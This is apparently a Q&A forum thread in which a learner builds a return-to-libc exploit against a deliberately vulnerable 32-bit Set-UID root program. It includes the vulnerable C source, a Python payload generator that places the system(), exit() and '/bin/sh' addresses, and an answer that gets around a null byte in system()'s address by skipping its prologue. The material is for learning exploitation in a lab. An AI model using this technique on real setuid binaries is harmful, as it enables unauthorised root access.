0

I'm currently learning about a return-to-libc method to bypass the non-executable stack countermeasure. The return address I'm trying to overflow on the stack is the libc system() function's address but it contains a Null Termination byte at the end which stop the strcpy() function from copying any further into a buffer.

Before I elaborate more, here's some important information about the two programs I'm working with and my system. Also I should mention that my goal is to find a solution that doesn't require me to use a completely different exploitation approach since I'm trying to learn about return-to-libc at the moment. My knowledge of the subject isn't good enough for me to know if it simply isn't doable given the circumstances or if I'm missing something.

OS: debian-based OS (kali) 64bits
ASLR: off (randomize_va_space=0)

stack.c (gcc -fno-stack-protector -z noexecstack -m32 -o stack stack.c)

This is a 32-bit Set-UID program owned by root
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
        char buffer[100];

        // The following statement has a buffer overflow problem
        strcpy(buffer, str);
        return 1;
}

int main(int argc, char **argv)
{
        char str[400];
        FILE *badfile;

        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 300, badfile);
        foo(str);

        printf("Returned Properly\n");
        return 1;
}

libc_exploit.py

#!/usr/bin/python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

sh_addr = 0xffffdfe8        # The address of "/bin/sh"
content[120:124] = (sh_addr).to_bytes(4, byteorder='little')

exit_addr = 0xf7c396a0      # The address of exit()
content[116:120] = (exit_addr).to_bytes(4, byteorder='little')

system_addr = 0xf7c47000    # The address of system()   ----- THE NULL BYTE IS HERE! -----
content[112:116] = (system_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)

The vulnerable user input is in a file called "badfile". When I fill that file with appropriate value using the python script above and execute stack.c, I get the following common error:
zsh: segmentation fault (core dumped) ./stack

I did two things to find what was the problem; I created a very similar python program that only called the exit() function and I ran the stack.c program in gdb. The whole return-to-libc approach worked when I returned to the address of the exit() function. The argument stored in the environment variable MYSHELL was also received by the function without any issue even though it doesn't make sense to send it to the exit() function. To clarify, this is the end of the strace output when the return address is overflowed to exit()'s address:

enter image description here

and the address of the environment variable is: 0xffffdfe8

Now that I'm pretty sure that the error was because of the NULL Byte, I would like to know if there is a way to bypass that without using a completely different method?

0

1 Answer 1

1

Now that I'm pretty sure that the error was because of the NULL Byte

Yes: strcpy() will stop when it finds the NUL byte (note, it's different from NULL, which is not a byte).

I would like to know if there is a way to bypass that without using a completely different method?

On my system, disassembly of the system function looks like this:

(gdb) disas system
Dump of assembler code for function __libc_system:
   0x00046f70 <+0>:     call   0x167fd9 <__x86.get_pc_thunk.dx>
   0x00046f75 <+5>:     add    $0x1d807f,%edx
   0x00046f7b <+11>:    sub    $0xc,%esp
   0x00046f7e <+14>:    mov    0x10(%esp),%eax
   0x00046f82 <+18>:    test   %eax,%eax
   0x00046f84 <+20>:    je     0x46f90 <__libc_system+32>
   0x00046f86 <+22>:    add    $0xc,%esp
   0x00046f89 <+25>:    jmp    0x46ae0 <do_system>
   0x00046f8e <+30>:    xchg   %ax,%ax
   0x00046f90 <+32>:    lea    -0x6bf1c(%edx),%eax
   0x00046f96 <+38>:    call   0x46ae0 <do_system>
   0x00046f9b <+43>:    test   %eax,%eax
   0x00046f9d <+45>:    sete   %al
   0x00046fa0 <+48>:    add    $0xc,%esp
   0x00046fa3 <+51>:    movzbl %al,%eax
   0x00046fa6 <+54>:    ret

And here is the source it came from:

int
__libc_system (const char *line)
{
  if (line == NULL)
    /* Check that we have a command processor available.  It might
       not be available after a chroot(), for example.  */
    return do_system ("exit 0") == 0;

  return do_system (line);
}
weak_alias (__libc_system, system)

The notable thing here is that the first two instructions:

   0x00046f70 <+0>:     call   0x167fd9 <__x86.get_pc_thunk.dx>
   0x00046f75 <+5>:     add    $0x1d807f,%edx

establish the pointer to the global offset table, but that table is only used on the error path (if you call system(NULL)) to find the relocated address of the compiled-in "exit 0" string literal.

Since you don't expect to hit the error path, you don't need to execute the first two instructions, you could "call" directly to address 0x00046f7b instead.

If your disassembly is similar to above, "calling" system at address 0xf7c4700b should work.

Sign up to request clarification or add additional context in comments.

3 Comments

Thank you it really helped, I lacked a good understanding of the system() function and wasn't too sure if I could skip some instructions. In the last line of your answer, you wrote "calling" in quotation mark, is it because dynamic link library function works differently? I don't expect you to write a very elaborate answer to this comment but if you have a link that could help me understand it better it would be greatly appreciated.
@MatGeneral I put "calling" in quotes because there is no actual CALL instruction here -- you are returning to system() by corrupting the return address on the stack. And the dynamic loader is not involved here at all.
Thanks, I forgot that it wasn't a normal function "call". That's the reason I have to pass the argument with an environment variable.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.